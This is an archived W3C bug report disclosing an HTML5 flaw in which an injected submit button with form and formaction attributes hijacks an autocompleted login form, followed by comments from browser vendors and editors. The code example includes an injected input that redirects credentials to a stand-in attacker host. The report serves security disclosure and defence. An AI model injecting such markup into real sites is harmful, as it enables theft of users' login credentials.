This is an archived snapshot of W3C's public bugzilla bug tracker, decommissioned in April 2019. Please see the home page for more details.

Bug 13586 - [html5] Input attributes allow form tampering
Summary: [html5] Input attributes allow form tampering
Status: RESOLVED NEEDSINFO
Alias: None
Product: HTML WG
Classification: Unclassified
Component: LC1 HTML5 spec (show other bugs)
Version: unspecified
Hardware: Other All
: P3 normal
Target Milestone: ---
Assignee: Ian 'Hixie' Hickson
QA Contact: HTML WG Bugzilla archive list
URL: http://www.w3.org/mid/1312266540.1309...
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2011-08-03 05:53 UTC by HTML WG bugbot
Modified: 2011-10-20 09:05 UTC (History)
9 users (show)

See Also:


Attachments

Description HTML WG bugbot 2011-08-03 05:53:23 UTC
public-html-comments posting from: Philippe De Ryck <philippe.deryck@cs.kuleuven.be>
http://www.w3.org/mid/1312266540.13091.2.camel@papyrus

The following comment contains detailed information about an issue that
was discovered during a recent security analysis of 13 next generation
web standards, organized by ENISA (European Network and Information
Security Agency), and performed by the DistriNet Research Group (K.U.
Leuven, Belgium).

The complete report is available at http://www.enisa.europa.eu/html5
(*), and contains information about the process, the discovered
vulnerabilities and recommendations towards improving overall security
in the studied specifications.

 Summary 
---------
The insertion of a button that overwrites certain form attributes
increases the potential impact of HTML injection.

Based on: HTML5, 11 July 2011
Relevant Sections: 10.7. The input element

 Issue
-------

The new form attributes, which can be used with submit buttons, can make
it difficult for a user to distinguish the form that is being submitted.
This can be used by an adversary to trick the user into submitting a
form, such as an autocompleted login form. Even though this attack was
already possible with JavaScript enabled, this new vector does not
depend on scripts. Additionally, it is possible that current content
validation filters do not yet prevent against button injection.

 Code example
--------------

The actual form, which is probably auto-completed by the browser:
	<form id="login"
action="http://testsrv1.example.com/enisa_ha/login.php" method="POST">
		<input type="text" name="username" />
		<input type="password" name="password" />
		<input type="submit" value="Login" />
	</form>

The injected code:
	<input type="submit" value="Launch the game" form="login"
formaction="http://testsrv1.csrf.com/enisa_ha/login.php" />
			
 Current state of implementation
---------------------------------

The current browser implementations show the following behavior:
	* Firefox 5: Scenario is supported
	* Chrome 12: Scenario is supported
	* IE 8: No support for modifying form attributes
	* Safari 5 (windows): No support for modifying form attributes
	* Opera 11.50: No automatic autocomplete support, form attributes are
modifiable though


 Recommended Solution
----------------------

Extend the form element with an additional attribute, which explicitly
enables non-hierarchical input elements to change form attributes.
Without this attribute, input elements cannot change form attributes,
which offers backwards security for current sites.

Alternatively, if changing the specification is not possible, developers
should be warned about this attack vector, so they can update their
content filters.



(*) HTML version of the report is available as well:
https://distrinet.cs.kuleuven.be/projects/HTML5-security/

-- 
Philippe De Ryck
K.U.Leuven, Dept. of Computer Science


Disclaimer: http://www.kuleuven.be/cwis/email_disclaimer.htm
Comment 1 Kornel Lesinski 2011-08-03 22:59:23 UTC
How would attacker get that input on a page in a first place? 

If the assumption is that pages fail to escape user-supplied data or use flawed input filtering, then there is a lot of other ways to inject form-hijacking scripts.
Comment 2 Adrian Bateman [MSFT] 2011-08-04 00:13:44 UTC
This is an issue we identified during our security review of HTML5 Forms as we planned the support that we have included in IE10. We chose not to support the form attribute for this reason. We were planning to file a Last Call comment of our own on this issue today.

Reflection of content is pervasive, as we've seen with XSS.  So the question is  are there pages that reflect content and also have interesting forms on them?  Sure there are!  Server-side HTML filtering is designed to allow rich HTML content through but block script.  So it's perfectly reasonable to expect that with current filters, untrusted content containing <SCRIPT> will get dropped but a "harmless" <BUTTON> or <INPUT> will not.  Of course the filters can be modified to account for this, but why set them up to need this change? Not supporting this feature provides better defense in depth. We didn't find an overwhelming use case that invalidated this thinking.
Comment 3 Michael[tm] Smith 2011-08-04 05:03:13 UTC
mass-moved component to LC1
Comment 4 Ian 'Hixie' Hickson 2011-08-22 22:23:17 UTC
EDITOR'S RESPONSE: This is an Editor's Response to your comment. If you are satisfied with this response, please change the state of this bug to CLOSED. If you have additional information and would like the editor to reconsider, please reopen this bug. If you would like to escalate the issue to the full HTML Working Group, please add the TrackerRequest keyword to this bug, and suggest title and text for the tracker issue; or you may create a tracker issue yourself, if you are able to do so. For more details, see this document:
   http://dev.w3.org/html5/decision-policy/decision-policy.html

Status: Rejected
Change Description: no spec change
Rationale:

http://lists.w3.org/Archives/Public/public-html-comments/2011Aug/0033.html
http://lists.w3.org/Archives/Public/public-html-comments/2011Aug/0039.html